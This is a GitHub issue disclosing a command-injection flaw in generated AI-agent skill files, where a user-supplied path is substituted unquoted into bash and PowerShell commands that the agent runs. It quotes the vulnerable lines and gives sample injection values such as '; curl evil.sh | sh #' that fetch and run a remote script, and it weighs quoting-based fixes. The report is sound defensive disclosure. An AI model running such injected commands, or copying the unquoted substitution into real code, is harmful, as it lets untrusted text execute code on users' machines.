Skip to content

Step 1's INPUT_PATH substitution into a bash command is a command injection vector #3642

Description

@ayushcodes10

Summary

Every generated skill's Step 1 substitutes INPUT_PATH (the user-supplied corpus path) as raw, unquoted text directly into a bash command, not just into a Python string literal:

echo "$(cd INPUT_PATH && pwd)" > graphify-out/.graphify_root

Bash performs word-splitting and, critically, still expands $(...)/backtick command substitution inside the outer double quotes, and cd INPUT_PATH itself is completely unquoted. If INPUT_PATH is substituted with a value containing shell metacharacters, the substituted text executes as shell code the moment the agent runs this line.

Evidence (current v8)

tools/skillgen/fragments/shell/posix.md:34 — the shared POSIX Step 1 fragment, rendered verbatim into essentially every non-monolith platform's skill (skill-claw.md, skill-kilo.md, skill-claude.md/skill.md, skill-codex.md, skill-amp.md, skill-copilot.md, skill-droid.md, skill-kiro.md, skill-opencode.md, skill-pi.md, skill-trae.md, skill-vscode.md, skill-agents.md):

echo "$(cd INPUT_PATH && pwd)" > graphify-out/.graphify_root

tools/skillgen/fragments/shell/powershell.md:61 — the same class of problem for the PowerShell variant (skill-windows.md), via unquoted argument substitution into Resolve-Path:

[System.IO.File]::WriteAllText((Join-Path $PWD 'graphify-out\.graphify_root'), (Resolve-Path INPUT_PATH).Path, $Utf8NoBom)

This is pre-existing on pristine v8 (confirmed via git show 26b02b5:.../shell/posix.md) — not introduced by any recent PR, and not covered by the file-based fix already shipped for save-result/graphify add (#3439/#3442) or by the aider/devin follow-up (#3640), both of which are about different commands.

Impact

INPUT_PATH is the resolved path from the user's own /graphify <path> invocation — free text an agent is instructed to substitute verbatim ("Every occurrence of INPUT_PATH below is a placeholder substituted with this resolved path"). A path pasted from an untrusted source (a malicious README's suggested command, a copy-pasted value from an untrusted page) containing e.g. `curl evil.sh | sh` or ; curl evil.sh | sh # would execute the moment Step 1 runs, before any Python code is ever reached.

Suggested fix direction

This is the same root problem #3439/#3442 fixed for save-result/add (build a command from unsanitized free text) and #3640 flags for aider/devin's save-result/add flows, but at an earlier, more foundational point (Step 1's interpreter bootstrap, which runs on every single platform, split or monolith). Since Step 1 already has bash execution capability by construction (the surrounding block is a bash code fence), the fix doesn't need a new capability — it needs the same category of change: stop substituting INPUT_PATH into an interpreted context at all. Candidate approaches:

  1. Have the agent write INPUT_PATH to a variable via a quoted assignment (ROOT="INPUT_PATH") if that's safe (it is not — the same expansion problem applies inside "..."), or
  2. Resolve the path via Python instead of the shell ("$PYTHON" -c "import sys, os; print(os.path.abspath(sys.argv[1]))" INPUT_PATH still substitutes into a bash line, so this doesn't fully solve it either unless INPUT_PATH is passed as a single properly-quoted positional argument — 'INPUT_PATH' with a single-quoted (not double-quoted) bash string does prevent $()/backtick expansion, though a literal ' in the path would still break out; a quoted heredoc handing the raw path to Python via stdin, mirroring the direction suggested in aider/devin skills still build save-result/add commands from unescaped free text (RCE via $(...) in double quotes) #3640, sidesteps this entirely.

Given the scope (touches the fragment used by essentially every platform, plus the PowerShell equivalent, plus verifying graphify-out/.graphify_root's own consumers still work with whatever new resolution mechanism is chosen), this needs its own dedicated PR with careful design and testing across the generated artifacts, rather than a quick patch — filed here for visibility and triage rather than attempted inline.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions